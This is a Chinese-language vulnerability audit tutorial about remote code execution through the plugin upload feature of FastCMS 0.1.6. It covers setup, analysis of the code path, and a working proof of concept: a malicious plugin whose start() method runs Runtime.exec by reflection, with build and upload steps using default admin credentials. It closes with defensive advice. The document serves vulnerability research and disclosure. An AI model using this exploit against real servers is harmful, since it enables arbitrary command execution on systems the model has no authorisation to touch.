FastCMS 0.1.6 插件系统RCE代码审计
字数 1963
更新时间 2026-01-16 12:12:42
FastCMS 0.1.6 插件系统RCE代码审计教学文档
1. 环境搭建
1.1 系统要求
- 操作系统:Windows 10
- Java环境:JDK 17
- 数据库:MySQL 5.7.26
- 目标系统:FastCMS 0.1.6
1.2 源码获取
从GitHub官方仓库下载源码:
https://github.com/my-fastcms/fastcms
1.3 数据库配置
1.3.1 配置文件路径
数据库配置文件位于:fastcms-master/web/src/main/resources/application.yml
1.3.2 数据库初始化
执行SQL文件初始化数据库:
mysql -uroot -p
source D:\java\fastcms-master\doc\sql\fastcms.sql
注意:建议使用英文路径避免路径问题
1.4 开发环境配置
1.4.1 Java模块系统兼容性配置
由于Java 9+引入的模块系统(JPMS)存在兼容性问题,需要在运行配置中添加虚拟机选项:
--add-opens java.base/java.lang.reflect=ALL-UNNAMED
--add-opens java.base/java.lang=ALL-UNNAMED
--add-opens java.base/java.util=ALL-UNNAMED
1.4.2 访问地址
- 系统地址:
http://127.0.0.1:8080/fastcms-master.html - 默认账号:admin/1
1.5 生产环境调试配置
1.5.1 项目打包
执行打包脚本:
- Windows:双击
fastcms-master/build.bat - Linux:执行
fastcms-master/build.sh
打包完成后生成.dist目录,包含可执行文件。
1.5.2 IDEA远程调试配置
- 添加JAR应用程序配置
- 设置JAR路径为
fastcms-master-server.jar的绝对路径 - 工作目录设置为JAR文件所在目录
- 配置虚拟机选项:
-Xms512m -Xmx512m -Xmn256m -Dfile.encoding=utf-8
-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
--add-opens java.base/java.lang.reflect=ALL-UNNAMED
--add-opens java.base/java.lang=ALL-UNNAMED
--add-opens java.base/java.util=ALL-UNNAMED
- 程序实参:
--spring.profiles.active=prod
2. 漏洞分析
2.1 漏洞入口
漏洞位于插件上传功能,核心文件路径:
fastcms-master/web/src/main/java/com/fastcms/web/controller/admin/PluginController.java
2.2 关键代码分析
2.2.1 环境检测
// 检查是否为开发环境,开发环境直接报错
if (isDev()) {
return "开发环境不支持此操作";
}
漏洞利用必须处于生产环境。
2.2.2 文件类型检查
// 检查文件后缀,只允许jar和zip文件
if (!filename.endsWith(".jar") && !filename.endsWith(".zip")) {
return "文件类型错误";
}
2.2.3 插件安装流程
installPlugin():执行插件安装loadPlugin():加载插件startPlugin():激活插件
2.2.4 插件加载机制
loadPluginFromPath方法执行以下操作:
- 获取插件元数据(pluginDescriptor)
- 获取插件所有类(pluginClassLoader)
- 创建插件实例(pluginWrapper)
- 通过
addPlugin方法载入插件
2.2.5 插件激活机制
startPlugin方法:
- 根据pluginId获取插件实例
- 执行插件的
start()方法 - 该方法在插件激活时自动执行
3. 漏洞利用
3.1 恶意插件构造
3.1.1 插件基本结构
恶意插件需要包含三个核心文件:
XxxPlugin.java:插件主类plugin.properties:插件配置文件pom.xml:Maven构建配置
3.1.2 恶意代码示例
package com.fastcms.xxx;
import com.fastcms.plugin.PluginBase;
import org.pf4j.PluginWrapper;
public class XxxPlugin extends PluginBase {
public XxxPlugin(PluginWrapper wrapper) {
super(wrapper);
}
@Override
public String getConfigUrl() {
return "/xxx";
}
@Override
public void start() {
super.start();
// 恶意代码执行点
executeMaliciousCode();
}
public void executeMaliciousCode() {
try {
Class<?> runtimeClass = Class.forName("java.lang.Runtime");
Method getRuntime = runtimeClass.getMethod("getRuntime");
Object runtimeObj = getRuntime.invoke(null);
Method exec = runtimeClass.getMethod("exec", String.class);
String cmd = "calc.exe"; // 恶意命令
exec.invoke(runtimeObj, cmd);
} catch (Exception e) {
// 异常处理
}
}
}
3.1.3 plugin.properties配置
plugin.id=malicious-plugin
plugin.class=com.fastcms.xxx.XxxPlugin
3.1.4 pom.xml关键配置
<properties>
<plugin.id>malicious-plugin</plugin.id>
<plugin.class>com.fastcms.xxx.XxxPlugin</plugin.class>
</properties>
3.2 插件打包与上传
3.2.1 打包命令
在插件目录下执行:
mvn clean package
3.2.2 上传流程
- 登录FastCMS后台(admin/1)
- 进入插件管理页面
- 选择恶意jar文件上传
- 系统自动安装并激活插件
- 恶意代码在激活时自动执行
3.3 漏洞验证方法
3.3.1 首次验证
- 上传恶意插件jar文件
- 观察系统是否弹出计算器(Windows)或执行相应命令
3.3.2 重复验证方法
- 方法一:停止项目,删除
fastcms-master.distplugins目录下的jar文件,重新启动后再次上传 - 方法二:在管理界面点击卸载插件,修改jar包名称后重新上传
- 方法三:修改pom.xml中的
artifactId和plugin.id标签,重新打包
4. 防护建议
4.1 代码层面防护
- 对上传的插件进行代码安全检查
- 实现插件沙箱运行环境
- 限制插件的系统调用权限
4.2 系统层面防护
- 对插件文件进行数字签名验证
- 建立插件白名单机制
- 加强系统权限隔离
4.3 运维层面防护
- 定期更新系统版本
- 监控插件上传和执行行为
- 建立安全审计日志
5. 技术要点总结
- 环境要求:漏洞利用必须在生产环境,开发环境有防护
- 文件类型:只检测后缀名,不进行文件内容验证
- 自动执行:插件安装后自动激活并执行start()方法
- 代码执行:通过Java反射机制绕过编译期检查
- 权限问题:插件以系统权限执行,可进行高危操作
此漏洞的核心问题在于FastCMS对插件缺乏足够的安全验证机制,允许任意代码在系统权限下执行。
相似文章
相似文章